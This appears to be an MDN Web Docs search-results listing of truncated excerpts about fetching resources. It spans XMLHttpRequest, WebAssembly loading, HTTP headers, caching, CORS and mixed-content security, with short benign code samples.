... always use the target attribute if javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents that cannot create new windows, like ms web tv, will fetch the referenced resource and append it at the end of the current document. the goal and the idea is to try to provide - not impose - to the user a way to open the referenced resource, a mode of opening the link. your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user. do not use ta...
Sending and Receiving Binary Data - Web APIs
rn req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set. this tells the browser not to parse it, and to let the bytes pass through unprocessed. var filestream = load_binary_resource(url); var abyte = filestream.charcodeat(x) & 0xff; // throw away high-order byte (f7) the example above fetches the byte at offset x within the loaded binary data. the valid range for x is from 0 to filestream.length-1. see downloading binary streams with xmlhttprequest for a detailed explanation. see also downloading files. sending binary data the send method of the xmlhttprequest has been extended to enable easy transmission of binary data by accepting an arraybuffer, blob, or file object. the foll...
...rd sendasbinary method is considered deprecated as of gecko 31 (firefox 31 / thunderbird 31 / seamonkey 2.28) and will be removed soon. the standard send(blob data) method can be used instead as explained above. you can also send binary content by passing an instance of the nsifileinputstream to send(). in that case, you don't have to set the content-length header yourself, as the information is fetched from the stream automatically: // make a stream from a file. var stream = components.classes["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream); stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsifile instance // try to determine the mime type of the file var mimetype = "text\/plain"; try { var mimeservice =...
Using XMLHttpRequest - Web APIs
the transaction completes, the object will contain useful information such as the response body and the http status of the result. function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously. the type of request is dictated by the optional async argument (the third argument) that is set on the xmlhttprequest.open() method. if this argument is true or not specified, the xmlhttprequest is processed asynchronously, otherwise the process is handled synchronously. a detailed discussion and demonstrations of these two types of re...
...l); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ... */ however, more modern techniques are available, since the responsetype attribute now supports a number of additional content types, which makes sending and receiving binary data much easier. for example, consider this snippet, which uses the responsetype of "arraybuffer" to fetch the remote content into a arraybuffer object, which stores the raw binary data. var oreq = new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext /* ... */ } oreq.open("get", url); oreq.responsetype = "arraybuffer"; oreq.send(); for more examples check out the sending and receiving binary data page monitoring progress xmlhttprequest provide...
XMLHttpRequest.send() - Web APIs
ignored and the request body is set to null. if no accept header has been set using the setrequestheader(), an accept header with the type "*/*" (any type) is sent. syntax xmlhttprequest.send(body) parameters body optional a body of data to be sent in the xhr request. this can be: a document, in which case it is serialized before being sent. an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object. null if no value is specified for the body, a default value of null is used. the best way to send binary content (e.g. in file uploads) is by using an arraybufferview or blob in conjunction with the send() method. return value undefined. exceptions exception description invalidsta...
... value of null is used. the best way to send binary content (e.g. in file uploads) is by using an arraybufferview or blob in conjunction with the send() method. return value undefined. exceptions exception description invalidstateerror send() has already been invoked for the request, and/or the request is complete. networkerror the resource type to be fetched is a blob, and the method is not get. example: get var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); xhr.onload = function () { // request finished. do processing here. }; xhr.send(null); // xhr.send('string'); // xhr.send(new blob()); // xhr.send(new int8array()); // xhr.send(document); example: post var xhr = new xmlhttprequest(); xhr.open("post", '/server', tru...
XMLHttpRequestResponseType - Web APIs
ty responsetype string is treated the same as "text", the default type. arraybuffer the response is a javascript arraybuffer containing binary data. blob the response is a blob object containing the binary data. document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data. see html in xmlhttprequest to learn more about using xhr to fetch html content. json the response is a javascript object created by parsing the contents of received data as json. text the response is a text in a domstring object. ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer. deprecated values moz-chunked-arraybuffer a firefox-only va...
...raybuffer a firefox-only value which instructs xmlhttprequest to deliver arraybuffer objects containing chunks of the incoming data. accessing response during a progress event returns the data received so far. outside the progress event handler, the value of response is always null. you shouldn't use this non-standard (and, as of firefox 68, entirely removed) api; instead, consider using the fetch api with readable streams, which offers a standard alternative to accessing the response in a streaming fashion. specifications specification status comment xmlhttprequest unknown live standard, latest version ...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
z: inverseorientation[2], w: inverseorientation[3]}); return refspace.getoffsetreferencespace(newtransform); } this function creates an inverse orientation matrix—used to orient the viewer—from the current pitch and yaw values, then uses that matrix as the source of the orientation when calling new xrrigidtransform(). ...
... you can see code similar to this in use in our broader webxr tutorial article called movement, orientation, and motion. in particular, check out the section called starting the webxr session. ...
Web APIs
Web › API
pically used with javascript, although this doesn't always have to be the case. specifications this is a list of all the apis that are available. ...
...ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic eckeygenparams eckeyimportparams ecdhkeyderiveparams ecdsaparams effecttiming element elementcssinlinestyle elementtraversal errorevent event eventlistener eventsource eventtarget extendableevent extendablemessageevent f featurepolicy federatedcredential fetchevent file fileentrysync fileerror fileexception filelist filereader filereadersync filerequest filesystem filesystemdirectoryentry filesystemdirectoryreader filesystementry filesystementrysync filesystemfileentry filesystemflags filesystemsync focusevent fontface fontfaceset fontfacesetloadevent formdata formdataentryvalue formdataevent fullscreenoptions g gainnode ...
Media events - Developer guides
es of progress downloading the media. information about the current amount of the media that has been downloaded is available in the media element's buffered attribute. ratechange sent when the playback speed changes. seeked sent when a seek operation completes. seeking sent when a seek operation begins. stalled sent when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. suspend sent when loading of the media is suspended; this may happen either because the download has completed or because it has been paused for any other reason. timeupdate the time indicated by the element's currenttime attribute has changed. volumechange sent when the audio volume changes (both when the v...
...attribute is changed). waiting sent when the requested operation (such as playback) is delayed pending the completion of another operation (such as a seek). you can easily watch for these events, using code such as the following: var v = document.getelementsbytagname("video")[0]; v.addeventlistener("seeked", function() { v.play(); }, true); v.currenttime = 10.0; this example fetches the first video element in the document and attaches an event listener to it, watching for the seeked event, which is sent whenever a seek operation completes. the listener simply calls the element's play() method, which starts playback. then, in line 3, the example sets the element's currenttime attribute to 10.0, which initiates a seek operation to the 10-second mark in the media. this cau...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
depending on the element, the attribute can be a cors settings attribute. the crossorigin content attribute on media elements is a cors settings attribute. ...
...e anonymous keyword. example: crossorigin with the script element you can use the following <script> element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials. <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin. <link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"> specifications specification status comment html living standardthe definition of 'cors settings attributes' in that specification. living standard html living standardthe definition of 'crosso...
HTML attribute reference - HTML: Hypertext Markup Language
pecifies the language of the linked resource. http-equiv <meta> defines a pragma directive. icon <command> specifies a picture which represents the command. id global attribute often used with css to style a specific element. the value of this attribute must be unique. importance <iframe>, <img>, <link>, <script> indicates the relative fetch priority for the resource. integrity <link>, <script> specifies a subresource integrity value that allows browsers to verify what they fetch. intrinsicsize <img> this attribute tells the browser to ignore the actual intrinsic size of the image and pretend it’s the size specified in the attribute. inputmode <textarea>, contenteditable provi...
... show until the user plays or seeks. preload <audio>, <video> indicates whether the whole resource, parts of it or nothing should be preloaded. radiogroup <command> readonly <input>, <textarea> indicates whether the element can be edited. referrerpolicy <a>, <area>, <iframe>, <img>, <link>, <script> specifies which referrer is sent when fetching the resource. rel <a>, <area>, <link> specifies the relationship of the target object to the link object. required <input>, <select>, <textarea> indicates whether this element is required to fill out or not. reversed <ol> indicates whether the list should be displayed in a descending order instead of a ascending. rows <textarea> defin...
<img>: The Image Embed element - HTML: Hypertext Markup Language
Web › HTML › Element › img
at this image is not a key part of the content (it’s decoration or a tracking pixel), and that non-visual browsers may omit it from rendering. visual browsers will also hide the broken image icon if the alt is empty and the image failed to display. this attribute is also used when copying and pasting the image to text, or saving a linked image to a bookmark. crossorigin indicates if the fetching of the image must be done using a cors request. image data from a cors-enabled image returned from a cors request can be reused in the <canvas> element without being marked "tainted". if the crossorigin attribute is not specified, then a non-cors request is sent (without the origin request header), and the browser marks the image as tainted and restricts access to its image data, preventing ...
...an anti-tracking measure, because if a user agent supported lazy loading when scripting is disabled, it would still be possible for a site to track a user's approximate scroll position throughout a session, by strategically placing images in a page's markup such that a server can track how many images are requested and when. referrerpolicy a string indicating which referrer to use when fetching the resource: no-referrer: the referer header will not be sent. no-referrer-when-downgrade: no referer header is sent when navigating to an origin without https. this is the default if no policy is otherwise specified. origin: the referer header will include the page's origin (scheme, host, and port). origin-when-cross-origin: navigating to other origins will limit the included refer...
Link types: prerender - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'prerender' in that specification. living standard ...
... specifications specification status comment html living standardthe definition of 'prerender' in that specification. living standard ...
HTTP caching - HTTP
Web › HTTP › Caching
web caches reduce latency and network traffic and thus lessen the time needed to display a representation of a resource. by making use of http caching, web sites become more responsive. different kinds of caches caching is a technique that stores a copy of a given resource and serves it back when requested. when a web cache has a requested resource in its store, it intercepts the request and returns its copy instead of re-downloading from the originating server. ...
...they depend on each other because they refer to the same html elements. the revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. it can be anything that prevent collisions, like a hash or a date. cache validation when a cached document's expiration time has been reached, it is either validated or fetched again. validation can only occur if the server provided either a strong validator or a weak validator. revalidation is triggered when the user presses the reload button. it is also triggered under normal browsing if the cached response includes the "cache-control: must-revalidate" header. another factor is the cache validation preferences in the advanced->cache preferences panel. there is an o...
HTTP conditional requests - HTTP
l requests are requests that are executed differently, depending on the value of specific headers. these headers define a precondition, and the result of the request will be different if the precondition is matched or not. the different behaviors are defined by the method of the request used, and by the set of headers used for a precondition: for safe methods, like get, which usually tries to fetch a document, the conditional request can be used to send back the document, if relevant only. therefore, this spares bandwidth. for unsafe methods, like put, which usually uploads a document, the conditional request can be used to upload the document, only if the original it is based on is the same as that stored on the server. validators all conditional headers try to check if the resource st...
...hanism. common web sites, like wikis and other cms, have such a need. with the put method you are able to implement this. the client first reads the original files, modifies them, and finally pushes them to the server: unfortunately, things get a little inaccurate as soon as we take into account concurrency. while a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy. what happens next is very unfortunate: when they commit back to the server, the modifications from the first client are discarded by the next client push, as this second client is unaware of the first client's changes to the resource. the decision on who wins, is not communicated to the other party. which client's changes are to be kept, will vary wi...
Content negotiation - HTTP
he accept header the accept header lists the mime types of media resources that the agent is willing to process. it is comma-separated lists of mime types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different mime types. the accept header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an html page or an image, a video, or a script: it is different when fetching a document entered in the address bar or an element linked via an <img>, <video> or <audio> element. browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available. the accept-ch header this is part of an experimental t...
...choose between the available resource, which prevents to easily automatize the process. besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with javascript redirection: after having checked for the negotiation criteria, the script performs the redirection. a second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user. ...
Access-Control-Allow-Credentials - HTTP
get requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content. the access-control-allow-credentials header works in conjunction with the xmlhttprequest.withcredentials property or with the credentials option in the request() constructor of the fetch api. for a cors request with credentials, in order for browsers to expose the response to frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials. header type response header forbidden heade...
... true the only valid value for this header is true (case-sensitive). if you don't need credentials, omit this header entirely (rather than setting its value to false). examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification. living standard initial definition ...
CSP: connect-src - HTTP
if this directive is absent, the user agent will look for the default-src directive. ...
...if this directive is absent, the user agent will look for the default-src directive. ...
Date - HTTP
Web › HTTP › Headers › Date
<day> 2 digit day number, e.g. "04" or "23". ...
... <day> 2 digit day number, e.g. "04" or "23". ...
Referrer-Policy - HTTP
provided value is invalid. the origin, path, and querystring of the url are sent as a referrer when the protocol security level stays the same (http→http, https→https) or improves (http→https), but isn't sent to less secure destinations (https→http). there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy. origin only send the origin of the document as the referrer. for example, a document at https://example.com/page.html will send the referrer https://example.com/. origin-when-cross-origin send the origin, path, and query string when performing a same-origin request, but only send the o...
...these resources follow a referrer policy as well: external css stylesheets use the default policy (no-referrer-when-downgrade), unless it's overwritten via a referrer-policy http header on the css stylesheet’s response. for <style> elements or style attributes, the owner document's referrer policy is used. examples policy document nav...
Set-Cookie - HTTP
the set-cookie http response header is used to send a cookie from the server to the user agent, so the user agent can send it back to the server later. to send multiple cookies, multiple set-cookie headers should be sent in the same response. browsers block frontend javascript code from accessing the set cookie header, as required by the fetch spec, which defines set-cookie as a forbidden response-header name that must be filtered out from any response exposed to frontend code. for more information, see the guide on http cookies. header type response header forbidden header name no forbidden response-header name yes syntax set-cookie: <cookie-name>=<cookie-value> set-cookie: <cookie-name>=<cookie-value>; expires=<date> set-cookie: <cookie-name>=...
...t any information.) note: insecure sites (http:) can't set cookies with the secure attribute (since chrome 52 and firefox 52). httponly optional forbids javascript from accessing the cookie, for example, through the document.cookie property. note that a cookie that has been created with httponly will still be sent with javascript-initiated requests, e.g. when calling xmlhttprequest.send() or fetch(). this mitigates attacks against cross-site scripting (xss). samesite=<samesite-value> optional strict: the browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). if the request originated from a different url than the current one, no cookies with the samesite=strict attribute are sent. lax: the cookie is withheld on ...
HTTP Messages - HTTP
Web › HTTP › Messages
e head of the requests, whereas its payload is known as the body. http requests start line http requests are messages sent by the client to initiate an action on the server. their start-line contain three elements: an http method, a verb (like get, put or post) or a noun (like head or options), that describes the action to be performed. for example, get indicates that a resource should be fetched or post means that data is pushed to the server (creating or modifying a resource, or generating a temporary document to send back). the request target, usually a url, or the absolute path of the protocol, port, and domain are usually characterized by the request context. the format of this request target varies between different http methods. it can be an absolute path, ultimately follo...
...dify the request by specifying it further (like accept-language), by giving context (like referer), or by conditionally restricting it (like if-none). entity headers, like content-length which apply to the body of the request. obviously, there is no such header transmitted if there is no body in the request. body the final part of the request is its body. not all requests have one: requests fetching resources, like get, head, delete, or options, usually don't need one. some requests send data to the server in order to update it: as often the case with post requests (containing html form data). bodies can be broadly divided into two categories: single-resource bodies, consisting of one single file, defined by the two headers: content-type and content-length. multiple-resource bodies, ...
WebAssembly.Instance() constructor - JavaScript
g property for each declared import of module or else a webassembly.linkerror is thrown. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/...
WebAssembly.Instance.prototype.exports - JavaScript
the exports readonly property of the webassembly.instance object prototype returns an object containing as its members all the functions exported from the webassembly module instance, to allow them to be accessed and used by javascript. instance.exports examples using exports after fetching some webassembly bytecode using fetch, we compile and instantiate the module using the webassembly.instantiatestreaming() function, importing a javascript function into the webassembly module in the process. ...
... specifications specification webassembly javascript interfacethe definition of 'webassembly.instance: exports' in that specification. ...
WebAssembly.Instance - JavaScript
ssembly module instance, to allow them to be accessed and used by javascript. read-only. ...
... specifications specification webassembly javascript interfacethe definition of 'instance' in that specification. browser compatibility the compatibility table on this page is generated from structu...
WebAssembly.Memory() constructor - JavaScript
w webassembly memory instance with an initial size of 10 pages (640kib), and a maximum size of 100 pages (6.4mib). its buffer property will return an arraybuffer. var memory = new webassembly.memory({initial:10, maximum:100}); the second way to get a webassembly.memory object is to have it exported by a webassembly module. ...
...ted by a webassembly module. the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above. it then stores some values in that memory, then exports a function and uses it to sum some values. webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); creating a shared memory by default, webassembly memories are unshared. you can create a shared memory by passing shared: true in the constructor's initialization objec...
WebAssembly.Memory.prototype.buffer - JavaScript
the buffer prototype property of the webassembly.memory object returns the buffer contained in the memory. examples using buffer the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above. it then stores some values in that memory, then exports a function and uses it to sum some values. ...
...ry. examples using buffer the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above. it then stores some values in that memory, then exports a function and uses it to sum some values. webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification. browser compatibility the ...
WebAssembly.Memory - JavaScript
webassembly memory instance with an initial size of 10 pages (640kib), and a maximum size of 100 pages (6.4mib). its buffer property will return an arraybuffer. var memory = new webassembly.memory({initial:10, maximum:100}); the second way to get a webassembly.memory object is to have it exported by a webassembly module. ...
...ed by a webassembly module. the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above. it then stores some values in that memory, then exports a function and uses it to sum some values. webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); creating a shared memory by default, webassembly memories are unshared. you can create a shared memory by passing shared: true in the constructor's initialization objec...
WebAssembly.compileStreaming() - JavaScript
with a webassembly.compileerror. examples compile streaming the following example (see our compile-streaming.html demo on github, and view it live also) directly streams a .wasm module from an underlying source then compiles it to a webassembly.module object. ...
...le from an underlying source then compiles it to a webassembly.module object. because the compilestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills. var importobject = { imports: { imported_func: arg => console.log(arg) } }; webassembly.compilestreaming(fetch('simple.wasm')) .then(module => webassembly.instantiate(module, importobject)) .then(instance => instance.exports.exported_func()); the resulting module instance is then instantiated using webassembly.instantiate(), and the exported function invoked. specifications specification webassembly features for web embeddingthe definition of 'compilestreaming()' in that specifica...
WebAssembly.validate() - JavaScript
rs buffersource a typed array or arraybuffer containing webassembly binary code to be validated. return value a boolean that specifies whether buffersource is valid wasm code (true) or not (false). exceptions if buffersource is not a typed array or arraybuffer, a typeerror is thrown. ...
...pecifies whether buffersource is valid wasm code (true) or not (false). exceptions if buffersource is not a typed array or arraybuffer, a typeerror is thrown. examples using validate the following example (see the validate.html source code, and see it live too) fetches a .wasm module and converts it into a typed array. the validate() method is then used to check whether the module is valid. fetch('simple.wasm').then(response => response.arraybuffer() ).then(function(bytes) { var valid = webassembly.validate(bytes); console.log("the given bytes are " + (valid ? "" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification. browser compatibility the comp...
Performance fundamentals - Web Performance
those work items are not on the critical path to painting the first frame. it seems obvious, but to reach a user-perceived startup event more quickly, the main "trick" is run only the code on the critical path. shorten the critical path by simplifying the scene. the web platform is highly dynamic. javascript is a dynamically-typed language, a...
...requests as early as possible in startup (this is called "front-loading"). then when the data is needed later, hopefully it's already available and the application doesn't have to wait. note: for much more information on improving startup performance, read optimizing startup performance. on the same note, notice that locally-cached, static resources can be loaded much faster than dynamic data fetched over high-latency, low-bandwidth mobile networks. network requests should never be on the critical path to early application startup. local caching/offline apps can be achieved via service workers. see making pwas work offline with service workers for a guide as to how. framerate the first important thing for high framerate is to choose the right tool. use html and css to implement content th...
Structural overview of progressive web apps - Progressive web apps (PWAs)
worker will actually handle caching all the listed files. ...
...name).then(function(cache) { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); with that done, we implement the service worker's fetch event handler; its job is to return the contents of the specified file, either from the cache or by loading it over the network (caching it upon doing so): self.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.url); cache.put(e.request, response.clon...
Mixed content - Web security
pages like this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers. that leaves the pages unsafe. types of mixed content there are two categories for mixed content: mixed passive/display content and mixed active content. ...
... mixed active content still provides the attacker with the opportunity to redirect the user to other http pages and steal http cookies from those sites. active content examples this section lists some types of http requests which are considered active content: <script> (src attribute) <link> (href attribute) (this includes css stylesheets) <iframe> (src attribute) xmlhttprequest requests fetch() requests all cases in css where a <url> value is used (@font-face, cursor, background-image, and so forth). <object> (data attribute) navigator.sendbeacon (url attribute) other resource types like web fonts and workers may be considered active mixed content, as they are in chrome. warnings in web console the firefox web console displays a mixed content warning message in the net pane whe...
Web security
only be accessed using https. certificate transparency certificate transparency is an open framework designed to protect against and monitor for certificate misissuances. newly issued certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates. mixed content an https page that includes content fetched using cleartext http is called a mixed content page. pages like this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers. how to fix a website with blocked mixed content if your website delivers https pages, all active mixed content delivered via http on these pages will be blocked by default. consequently, your website may appe...
... same-origin policy the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. it helps isolate potentially malicious documents, reducing possible attack vectors. subresource integrity subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example, from a cdn) are delivered without unexpected manipulation. it works by allowing you to provide a cryptographic hash that a fetched resource must match. http access-control-allow-origin the access-control-allow-origin response header indicates whether the response can be shared with requesting code from the given origin. http x-content-type-options the x-content-type-options re...
WebAssembly Concepts - WebAssembly
bly instance. since javascript has complete control over how webassembly code is downloaded, compiled and run, javascript developers could even think of webassembly as just a javascript feature for efficiently generating high-performance functions. in the future, webassembly modules will be loadable just like es2015 modules (using <script type='module'>), meaning that javascript will be able to fetch, compile, and import a webassembly module as easily as an es2015 module. how do i use webassembly in my app? above we talked about the raw primitives that webassembly adds to the web platform: a binary format for code and apis for loading and running this binary code. now let’s talk about how we can use these primitives in practice. the webassembly ecosystem is at a nascent stage; more tools...
...gl, openal, and parts of posix. these libraries are implemented in terms of web apis and thus each one requires some javascript glue code to connect webassembly to the underlying web api. so part of the glue code is implementing the functionality of each respective library used by the c/c++ code. the glue code also contains the logic for calling the above-mentioned webassembly javascript apis to fetch, load and run the .wasm file. the generated html document loads the javascript glue file and writes stdout to a <textarea>. if the application uses opengl, the html also contains a <canvas> element that is used as the rendering target. it’s very easy to modify the emscripten output and turn it into whatever web app you require. you can find full documentation on emscripten at emscripten.org, ...
2015 MDN Fellowship Program - Archive of obsolete content
d wiill also allow access to push notifications and background sync apis. activities and deliverables write a demonstration web application (new or existing) to showcase service worker functionality. provide detailed api descriptions. required skills and experience experienced web developer with expertise in javascript, css, html as well as with efficient network interaction (queuing resource fetching, etc.). self-starter and autonomous worker mentor information brittany storoz, mozilla apps engineering. github: brittanystoroz twitter: @brittanystoroz webgl brief project description webgl is the latest incarnation of the opengl family of real time rendering immediate mode graphics apis. webgl is getting some cool new features in 2015 with the standardization efforts around the web...
Cross-domain Content Scripts - Archive of obsolete content
on/action").actionbutton({ id: "get-forecast", label: "get the forecast", icon: "./icon-16.png", onclick: function() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummary(jsonresponse); ...
Reddit Example - Archive of obsolete content
nly available from firefox 29 onwards. this example add-on creates a panel containing the mobile version of reddit. when the user clicks on the title of a story in the panel, the add-on opens the linked story in a new tab in the main browser window. to accomplish this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url. the content script then needs to send the url to the add-on script. this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").
Porting the Library Detector - Archive of obsolete content
ck to main.js: function testlibraries() { var win = unsafewindow; var librarylist = []; for(var i in ld_tests) { var passed = ld_tests[i].test(win); if (passed) { var libraryinfo = { name: i, version: passed.version }; librarylist.push(libraryinfo); } } self.postmessage(librarylist); } testlibraries(); main.js responds to that message by fetching the tab corresponding to that worker using worker.tab, and adding the array of library names to that tab's libraries property: pagemod.pagemod({ include: "*", contentscriptwhen: 'end', contentscriptfile: (data.url('library-detector.js')), onattach: function(worker) { worker.on('message', function(librarylist) { if (!worker.tab.libraries) { worker.tab.libraries = []; ...
page-worker - Archive of obsolete content
ata.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html"). so you can rewrite the above code like this: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "./myfile.html" }); you can load a new page by setting the page worker's contenturl property. ...
Modifying the Page Hosted by a Tab - Archive of obsolete content
le tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscript: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory. you could download this icon: . this add-on creates a button with mozilla favicon as an icon. it has a click handler which fetches the active tab and loads a script into the page hosted by the active tab. the script is specified using the contentscript option, and just draws a red border around the page. then open any web page in the browser window, and click the button . you should see a red border appear around the page, like this: keeping content scripts in a separate file in the example above, we've passed in cont...
Bookmarks - Archive of obsolete content
number of convenient methods you can use to make changes to existing bookmarks and bookmark folders. this section covers some of them. the item title to change the title of a bookmark or bookmark folder, you use the nsinavbookmarksservice.setitemtitle() method. bmsvc.setitemtitle(newbkmkid, "new title"); this sets the title of the item referenced by the id newbkmkid to "new title". you can fetch the current title of an item using the nsinavbookmarksservice.getitemtitle() method: var thistitle = bmsvc.getitemtitle(newbkmkid); this code will display an alert containing the title of the item referenced by the id newbkmkid. the item uri similarly, you can obtain the uri corresponding to a given bookmark item by calling the nsinavbookmarksservice.getbookmarkuri() method. var thisuri = b...
Downloading Files - Archive of obsolete content
ors about missing nsidownloadprogresslistener methods, so you should implement that as well. for example, with empty dummy methods if you are not interested about the progress. instead of using qi like above, you can also implement nsiinterfacerequestor and return nsiauthprompt from there, like nsiwebbrowserpersist.progresslistener documentation suggests. downloading images sample function for fetching an image file from a url. // this function is for fetching an image file from a url. // accepts a url and returns the file. // returns empty if the file is not found (with an 404 error for instance). // tried with .jpg, .ico, .gif (even .html). function getimagefromurl(url) { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfac...
Developing add-ons - Archive of obsolete content
pt. themes themes let users customize the appearance of the user interface presented by mozilla-based applications. search engine plugins firefox supports search engine plugins, which enable the search box to support different search engines. addons.mozilla.org (amo) api developers' guide the amo developers' guide describes how to use the amo api to fetch information about add-ons from the addons.mozilla.org site. the mozilla platform information about the mozilla platform, including all of its apis and technologies, as well as how to use them in your own projects. performance performance guides and utilities to help you make your add-on perform well (and to play nicely with others). ...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
ive options by inserting multiple radio elements into the content of one radiogroup element; the currently selected radio element will have selected="true" set. the radio element can be uniquely identified by setting its value attribute. when that radio element is selected, the value of its value attribute is copied to the radiogroup, so that you can check for the selected radio button simply by fetching the radiogroup element’s value attribute. there may be situations where you want to locate a radio element outside of a radiogroup element. by combining it with hbox and vbox, you can write code similar to that shown in listing 15, which will produce output as shown in figure 12. <radiogroup orient="vertical"> <hbox> <radio label="top left"/> <radio label="top right"/> </hbox> ...
Appendix A: Add-on Performance - Archive of obsolete content
ves them a negative view of firefox. add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that. startup this is the area where add-ons have the most noticeable impact. most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data. the problem with the onload event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window. an add-on can normally add a few hundred milliseconds to startup time because of the load handler, and it's not hard to figure out what having several add-ons will do. luckily, minimizing your startup time is easy, if you foll...
The Essentials of an Extension - Archive of obsolete content
